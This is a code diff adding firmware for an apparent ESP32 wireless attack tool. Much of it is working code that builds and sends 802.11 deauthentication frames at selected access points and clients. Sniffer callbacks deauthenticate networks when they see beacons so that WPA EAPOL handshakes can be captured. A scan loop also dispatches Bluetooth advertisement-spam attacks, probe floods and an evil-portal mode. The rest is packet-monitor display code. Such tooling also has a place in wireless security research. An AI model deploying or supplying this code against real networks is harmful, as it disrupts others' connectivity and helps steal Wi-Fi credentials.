+ deauth_frame_default[9] = bssid[5];
+
+ deauth_frame_default[10] = mac[0];
+ deauth_frame_default[11] = mac[1];
+ deauth_frame_default[12] = mac[2];
+ deauth_frame_default[13] = mac[3];
+ deauth_frame_default[14] = mac[4];
+ deauth_frame_default[15] = mac[5];
+
+ deauth_frame_default[16] = mac[0];
+ deauth_frame_default[17] = mac[1];
+ deauth_frame_default[18] = mac[2];
+ deauth_frame_default[19] = mac[3];
+ deauth_frame_default[20] = mac[4];
+ deauth_frame_default[21] = mac[5];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+ packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
+ // Itterate through all access points in list
+ // Check if active
+ WiFiScan::set_channel = channel;
+ esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Build packet
+
+ sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
+ &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+
+ deauth_frame_default[10] = bssid[0];
+ deauth_frame_default[11] = bssid[1];
+ deauth_frame_default[12] = bssid[2];
+ deauth_frame_default[13] = bssid[3];
+ deauth_frame_default[14] = bssid[4];
+ deauth_frame_default[15] = bssid[5];
+
+ deauth_frame_default[16] = bssid[0];
+ deauth_frame_default[17] = bssid[1];
+ deauth_frame_default[18] = bssid[2];
+ deauth_frame_default[19] = bssid[3];
+ deauth_frame_default[20] = bssid[4];
+ deauth_frame_default[21] = bssid[5];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+ packets_sent = packets_sent + 3;
+}
+
+void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
+ // Itterate through all access points in list
+ for (int i = 0; i < access_points->size(); i++) {
+
+ // Check if active
+ if (access_points->get(i).selected) {
+ this->set_channel = access_points->get(i).channel;
+ esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+
+ // Build packet
+
+ sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
+ &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
+
+ deauth_frame_default[10] = access_points->get(i).bssid[0];
+ deauth_frame_default[11] = access_points->get(i).bssid[1];
+ deauth_frame_default[12] = access_points->get(i).bssid[2];
+ deauth_frame_default[13] = access_points->get(i).bssid[3];
+ deauth_frame_default[14] = access_points->get(i).bssid[4];
+ deauth_frame_default[15] = access_points->get(i).bssid[5];
+
+ deauth_frame_default[16] = access_points->get(i).bssid[0];
+ deauth_frame_default[17] = access_points->get(i).bssid[1];
+ deauth_frame_default[18] = access_points->get(i).bssid[2];
+ deauth_frame_default[19] = access_points->get(i).bssid[3];
+ deauth_frame_default[20] = access_points->get(i).bssid[4];
+ deauth_frame_default[21] = access_points->get(i).bssid[5];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+ esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
+
+ packets_sent = packets_sent + 3;
+ }
+ }
+}
+
+
+void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+
+ #ifdef HAS_SCREEN
+ int buff = display_obj.display_buffer->size();
+ #else
+ int buff = 0;
+ #endif
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+
+ // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
+ #ifdef HAS_ILI9341
+ if (snifferPacket->payload[0] == 0x80)
+ {
+ num_beacon++;
+ }
+ else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
+ {
+ num_deauth++;
+ }
+ else if (snifferPacket->payload[0] == 0x40)
+ {
+ num_probe++;
+ }
+ #endif
+
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ display_string.concat(addr);
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ //Serial.print(" ");
+
+ #ifdef SCREEN_BUFFER
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ Serial.println(display_string);
+ }
+ #endif
+ #endif
+
+ buffer_obj.append(snifferPacket, len);
+ }
+}
+
+void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ extern WiFiScan wifi_scan_obj;
+ bool send_deauth = settings_obj.loadSetting(text_table4[5]);
+
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ String display_string = "";
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+ }
+
+ #ifdef HAS_SCREEN
+ int buff = display_obj.display_buffer->size();
+ #else
+ int buff = 0;
+ #endif
+
+ // Found beacon frame. Decide whether to deauth
+ if (send_deauth) {
+ if (snifferPacket->payload[0] == 0x80) {
+ // Build packet
+
+ wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+ wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+ wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+ wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+ wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+ wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+
+ wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+ wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+ wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+ wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+ wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+ wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+ delay(1);
+ }
+
+
+ }
+
+ if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+ num_eapol++;
+ Serial.println("Received EAPOL:");
+
+ char addr[] = "00:00:00:00:00:00";
+ getMAC(addr, snifferPacket->payload, 10);
+ display_string.concat(addr);
+
+ int temp_len = display_string.length();
+
+ #ifdef HAS_SCREEN
+ for (int i = 0; i < 40 - temp_len; i++)
+ {
+ display_string.concat(" ");
+ }
+
+ Serial.print(" ");
+
+ #ifdef SCREEN_BUFFER
+ if (display_obj.display_buffer->size() == 0)
+ {
+ display_obj.loading = true;
+ display_obj.display_buffer->add(display_string);
+ display_obj.loading = false;
+ }
+ #endif
+ #else
+ Serial.println(addr);
+ #endif
+ }
+
+ buffer_obj.append(snifferPacket, len);
+}
+
+void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
+{
+ extern WiFiScan wifi_scan_obj;
+
+ bool send_deauth = settings_obj.loadSetting(text_table4[5]);
+
+ wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+ WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
+ wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
+ int len = snifferPacket->rx_ctrl.sig_len;
+
+ if (type == WIFI_PKT_MGMT)
+ {
+ len -= 4;
+ int fctl = ntohs(frameControl->fctl);
+ const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
+ const WifiMgmtHdr *hdr = &ipkt->hdr;
+ }
+
+ // Found beacon frame. Decide whether to deauth
+
+ if (snifferPacket->payload[0] == 0x80) {
+
+ // Do target stuff
+ if (wifi_scan_obj.currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+ bool found = false;
+
+ // Check list of APs
+ for (int i = 0; i < access_points->size(); i++) {
+ if (access_points->get(i).selected) {
+ uint8_t addr[] = {snifferPacket->payload[10],
+ snifferPacket->payload[11],
+ snifferPacket->payload[12],
+ snifferPacket->payload[13],
+ snifferPacket->payload[14],
+ snifferPacket->payload[15]};
+ // Compare AP bssid to ssid of recvd packet
+ for (int x = 0; x < 6; x++) {
+ if (addr[x] != access_points->get(i).bssid[x]) {
+ found = false;
+ break;
+ }
+ else
+ found = true;
+ }
+ if (found) {
+ Serial.println("Received beacon from " + access_points->get(i).essid + ". Deauthenticating...");
+ break;
+ }
+ }
+ }
+ if (!found)
+ return;
+ } // End targeted stuff
+ // Build packet
+
+ wifi_scan_obj.deauth_frame_default[10] = snifferPacket->payload[10];
+ wifi_scan_obj.deauth_frame_default[11] = snifferPacket->payload[11];
+ wifi_scan_obj.deauth_frame_default[12] = snifferPacket->payload[12];
+ wifi_scan_obj.deauth_frame_default[13] = snifferPacket->payload[13];
+ wifi_scan_obj.deauth_frame_default[14] = snifferPacket->payload[14];
+ wifi_scan_obj.deauth_frame_default[15] = snifferPacket->payload[15];
+
+ wifi_scan_obj.deauth_frame_default[16] = snifferPacket->payload[10];
+ wifi_scan_obj.deauth_frame_default[17] = snifferPacket->payload[11];
+ wifi_scan_obj.deauth_frame_default[18] = snifferPacket->payload[12];
+ wifi_scan_obj.deauth_frame_default[19] = snifferPacket->payload[13];
+ wifi_scan_obj.deauth_frame_default[20] = snifferPacket->payload[14];
+ wifi_scan_obj.deauth_frame_default[21] = snifferPacket->payload[15];
+
+ // Send packet
+ esp_wifi_80211_tx(WIFI_IF_AP, wifi_scan_obj.deauth_frame_default, sizeof(wifi_scan_obj.deauth_frame_default), false);
+ delay(1);
+ }
+
+
+
+ if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
+ num_eapol++;
+ Serial.println("Received EAPOL:");
+
+ }
+
+ buffer_obj.append(snifferPacket, len);
+}
+
+#ifdef HAS_SCREEN
+ void WiFiScan::eapolMonitorMain(uint32_t currentTime)
+ {
+ //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+
+
+ // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+ for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+ {
+ currentTime = millis();
+ do_break = false;
+
+ y_pos_x = 0;
+ y_pos_y = 0;
+ y_pos_z = 0;
+ boolean pressed = false;
+
+ uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+
+ // Do the touch stuff
+ #ifdef HAS_ILI9341
+ pressed = display_obj.tft.getTouch(&t_x, &t_y);
+ #endif
+
+ if (pressed) {
+ Serial.print("Got touch | X: ");
+ Serial.print(t_x);
+ Serial.print(" Y: ");
+ Serial.println(t_y);
+ }
+
+
+ // Check buttons for presses
+ for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+ {
+ if (pressed && display_obj.key[b].contains(t_x, t_y))
+ {
+ display_obj.key[b].press(true);
+ } else {
+ display_obj.key[b].press(false);
+ }
+ }
+
+ // Which buttons pressed
+ for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+ {
+ if (display_obj.key[b].justPressed())
+ {
+ Serial.println("Bro, key pressed");
+ //do_break = true;
+ }
+
+ if (display_obj.key[b].justReleased())
+ {
+ do_break = true;
+
+ // Channel - button pressed
+ if (b == 4) {
+ if (set_channel > 1) {
+ Serial.println("Shit channel down");
+ set_channel--;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ changeChannel();
+ break;
+ }
+ }
+
+ // Channel + button pressed
+ else if (b == 5) {
+ if (set_channel < MAX_CHANNEL) {
+ Serial.println("Shit channel up");
+ set_channel++;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ changeChannel();
+ break;
+ }
+ }
+ else if (b == 6) {
+ Serial.println("Exiting packet monitor...");
+ this->StartScan(WIFI_SCAN_OFF);
+ //display_obj.tft.init();
+ this->orient_display = true;
+ return;
+ }
+ }
+ }
+
+ if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
+ x_pos += x_scale;
+ initTime = millis();
+ y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+ if (y_pos_x >= HEIGHT_1) {
+ Serial.println("Max EAPOL number reached. Adjusting...");
+ num_eapol = 0;
+ }
+
+ //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+ //Plot "X" value
+ display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
+
+ //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+ if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+ {
+ display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+ }
+ else
+ {
+ display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+ }
+ if (x_pos < 0) // below x axis
+ {
+ //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+ display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+ }
+ else
+ {
+ //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+ display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+ }
+
+ //tftDisplayTime();
+
+ if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+ {
+ display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+ }
+
+ y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
+ //y_pos_y_old = y_pos_y;
+ //y_pos_z_old = y_pos_z;
+
+ //delay(50);
+ }
+
+ #ifdef HAS_SD
+ sd_obj.main();
+ #endif
+
+ }
+
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+ display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ display_obj.tftDrawEapolColorKey();
+ display_obj.tftDrawGraphObjects(x_scale);
+ }
+
+ void WiFiScan::packetMonitorMain(uint32_t currentTime)
+ {
+ //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
+
+
+ // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
+ for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
+ {
+ currentTime = millis();
+ do_break = false;
+
+ y_pos_x = 0;
+ y_pos_y = 0;
+ y_pos_z = 0;
+ boolean pressed = false;
+
+ uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
+
+ // Do the touch stuff
+ #ifdef HAS_ILI9341
+ pressed = display_obj.tft.getTouch(&t_x, &t_y);
+ #endif
+
+ if (pressed) {
+ Serial.print("Got touch | X: ");
+ Serial.print(t_x);
+ Serial.print(" Y: ");
+ Serial.println(t_y);
+ }
+
+
+ // Check buttons for presses
+ for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+ {
+ if (pressed && display_obj.key[b].contains(t_x, t_y))
+ {
+ display_obj.key[b].press(true);
+ } else {
+ display_obj.key[b].press(false);
+ }
+ }
+
+ // Which buttons pressed
+ for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
+ {
+ if (display_obj.key[b].justPressed())
+ {
+ Serial.println("Bro, key pressed");
+ //do_break = true;
+ }
+
+ if (display_obj.key[b].justReleased())
+ {
+ do_break = true;
+
+ // X - button pressed
+ if (b == 0) {
+ if (x_scale > 1) {
+ x_scale--;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ break;
+ }
+ }
+ // X + button pressed
+ else if (b == 1) {
+ if (x_scale < 6) {
+ x_scale++;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ break;
+ }
+ }
+
+ // Y - button pressed
+ else if (b == 2) {
+ if (y_scale > 1) {
+ y_scale--;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ //updateMidway();
+ break;
+ }
+ }
+
+ // Y + button pressed
+ else if (b == 3) {
+ if (y_scale < 9) {
+ y_scale++;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ //updateMidway();
+ break;
+ }
+ }
+
+ // Channel - button pressed
+ else if (b == 4) {
+ if (set_channel > 1) {
+ Serial.println("Shit channel down");
+ set_channel--;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ changeChannel();
+ break;
+ }
+ }
+
+ // Channel + button pressed
+ else if (b == 5) {
+ if (set_channel < MAX_CHANNEL) {
+ Serial.println("Shit channel up");
+ set_channel++;
+ delay(70);
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
+ display_obj.tftDrawXScaleButtons(x_scale);
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ changeChannel();
+ break;
+ }
+ }
+ else if (b == 6) {
+ Serial.println("Exiting packet monitor...");
+ this->StartScan(WIFI_SCAN_OFF);
+ //display_obj.tft.init();
+ this->orient_display = true;
+ return;
+ }
+ }
+ }
+
+ if (currentTime - initTime >= GRAPH_REFRESH) {
+ //Serial.println("-----------------------------------------");
+ //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
+ x_pos += x_scale;
+ initTime = millis();
+ y_pos_x = ((-num_beacon * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
+ y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
+ y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
+
+ //Serial.println("num_beacon: " + (String)num_beacon);
+ //Serial.println("num_deauth: " + (String)num_deauth);
+ //Serial.println(" num_probe: " + (String)num_probe);
+
+ num_beacon = 0;
+ num_probe = 0;
+ num_deauth = 0;
+
+ //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
+ //Plot "X" value
+ display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_GREEN);
+ //Plot "Z" value
+ display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
+ //Plot "Y" value
+ display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
+
+ //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
+ //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
+ if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
+ {
+ display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
+ }
+ else
+ {
+ display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
+ }
+ //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
+ //if (x_pos <= 90)
+ if (x_pos < 0) // below x axis
+ {
+ //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
+ display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
+ }
+ else
+ {
+ //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
+ display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
+ }
+
+ //tftDisplayTime();
+
+ if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
+ {
+ display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
+ }
+
+ y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
+ y_pos_y_old = y_pos_y;
+ y_pos_z_old = y_pos_z;
+
+ //delay(50);
+ }
+
+ #ifdef HAS_SD
+ sd_obj.main();
+ #endif
+
+ }
+
+ display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
+ //tft.fillRect(56, 0, 66, 32, TFT_ORANGE); //erase time and color key and any stray lines behind them
+ display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
+
+ display_obj.tftDrawXScaleButtons(x_scale); //redraw stuff
+ display_obj.tftDrawYScaleButtons(y_scale);
+ display_obj.tftDrawChannelScaleButtons(set_channel);
+ display_obj.tftDrawExitScaleButtons();
+ display_obj.tftDrawColorKey();
+ display_obj.tftDrawGraphObjects(x_scale);
+ }
+#endif
+
+//void WiFiScan::sniffer_callback(void* buf, wifi_promiscuous_pkt_type_t type) {
+// wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
+// showMetadata(snifferPacket, type);
+//}
+
+void WiFiScan::changeChannel(int chan) {
+ this->set_channel = chan;
+ esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+}
+
+void WiFiScan::changeChannel()
+{
+ esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+}
+
+// Function to cycle to the next channel
+void WiFiScan::channelHop()
+{
+ this->set_channel = this->set_channel + 1;
+ if (this->set_channel > 13) {
+ this->set_channel = 1;
+ }
+ esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
+ delay(1);
+}
+
+char* WiFiScan::stringToChar(String string) {
+ char buf[string.length() + 1] = {};
+ string.toCharArray(buf, string.length() + 1);
+
+ return buf;
+}
+
+
+// Function for updating scan status
+void WiFiScan::main(uint32_t currentTime)
+{
+ // WiFi operations
+ if ((currentScanMode == WIFI_SCAN_PROBE) ||
+ (currentScanMode == WIFI_SCAN_AP) ||
+ (currentScanMode == WIFI_SCAN_STATION) ||
+ (currentScanMode == WIFI_SCAN_SIG_STREN) ||
+ (currentScanMode == WIFI_SCAN_TARGET_AP) ||
+ (currentScanMode == WIFI_SCAN_PWN) ||
+ (currentScanMode == WIFI_SCAN_DEAUTH) ||
+ (currentScanMode == WIFI_SCAN_STATION_WAR_DRIVE) ||
+ (currentScanMode == WIFI_SCAN_ALL))
+ {
+ if (currentTime - initTime >= this->channel_hop_delay * 1000)
+ {
+ initTime = millis();
+ channelHop();
+ }
+ }
+ else if ((currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (currentScanMode == BT_ATTACK_SOUR_APPLE) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL) ||
+ (currentScanMode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (currentScanMode == BT_ATTACK_GOOGLE_SPAM)) {
+ #ifdef HAS_BT
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat("Advertising Data...");
+ for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+ displayString2.concat(" ");
+ #ifdef HAS_SCREEN
+ display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+ display_obj.showCenterText(displayString2, TFT_HEIGHT / 2);
+ display_obj.showCenterText(displayString, TFT_HEIGHT / 2);
+ #endif
+ }
+
+ if ((currentScanMode == BT_ATTACK_GOOGLE_SPAM) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL))
+ this->executeSwiftpairSpam(Google);
+
+ if ((currentScanMode == BT_ATTACK_SAMSUNG_SPAM) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL))
+ this->executeSwiftpairSpam(Samsung);
+
+ if ((currentScanMode == BT_ATTACK_SWIFTPAIR_SPAM) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL))
+ this->executeSwiftpairSpam(Microsoft);
+
+ if ((currentScanMode == BT_ATTACK_SOUR_APPLE) ||
+ (currentScanMode == BT_ATTACK_SPAM_ALL))
+ this->executeSourApple();
+ #endif
+ }
+ else if (currentScanMode == WIFI_SCAN_WAR_DRIVE) {
+ if (currentTime - initTime >= this->channel_hop_delay * 1000)
+ {
+ initTime = millis();
+ #ifdef HAS_GPS
+ if (gps_obj.getGpsModuleStatus())
+ this->executeWarDrive();
+ #endif
+ }
+ }
+ else if (currentScanMode == WIFI_SCAN_GPS_DATA) {
+ if (currentTime - initTime >= 5000) {
+ this->initTime = millis();
+ this->RunGPSInfo();
+ }
+ }
+ else if (currentScanMode == WIFI_SCAN_GPS_NMEA) {
+ if (currentTime - initTime >= 1000) {
+ this->initTime = millis();
+ this->RunGPSNmea();
+ }
+ }
+ else if (currentScanMode == WIFI_SCAN_EVIL_PORTAL) {
+ evil_portal_obj.main(currentScanMode);
+ }
+ else if (currentScanMode == WIFI_PACKET_MONITOR)
+ {
+ #ifdef HAS_SCREEN
+ #ifdef HAS_ILI9341
+ packetMonitorMain(currentTime);
+ #endif
+ #endif
+ }
+ else if (currentScanMode == WIFI_SCAN_EAPOL)
+ {
+ #ifdef HAS_SCREEN
+ #ifdef HAS_ILI9341
+ eapolMonitorMain(currentTime);
+ #endif
+ #endif
+ }
+ else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
+ {
+ #ifdef HAS_SCREEN
+ eapolMonitorMain(currentTime);
+ #endif
+ }
+ else if (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+ if (currentTime - initTime >= this->channel_hop_delay * 1000)
+ {
+ initTime = millis();
+ channelHop();
+ }
+ #ifdef HAS_SCREEN
+ eapolMonitorMain(currentTime);
+ #endif
+ }
+ else if (currentScanMode == WIFI_ATTACK_AUTH) {
+ for (int i = 0; i < 55; i++)
+ this->sendProbeAttack(currentTime);
+
+ if (currentTime - initTime >= 1000) {
+ initTime = millis();
+ String displayString = "";
+ String displayString2 = "";
+ displayString.concat(text18);
+ displayString.concat(packets_sent);
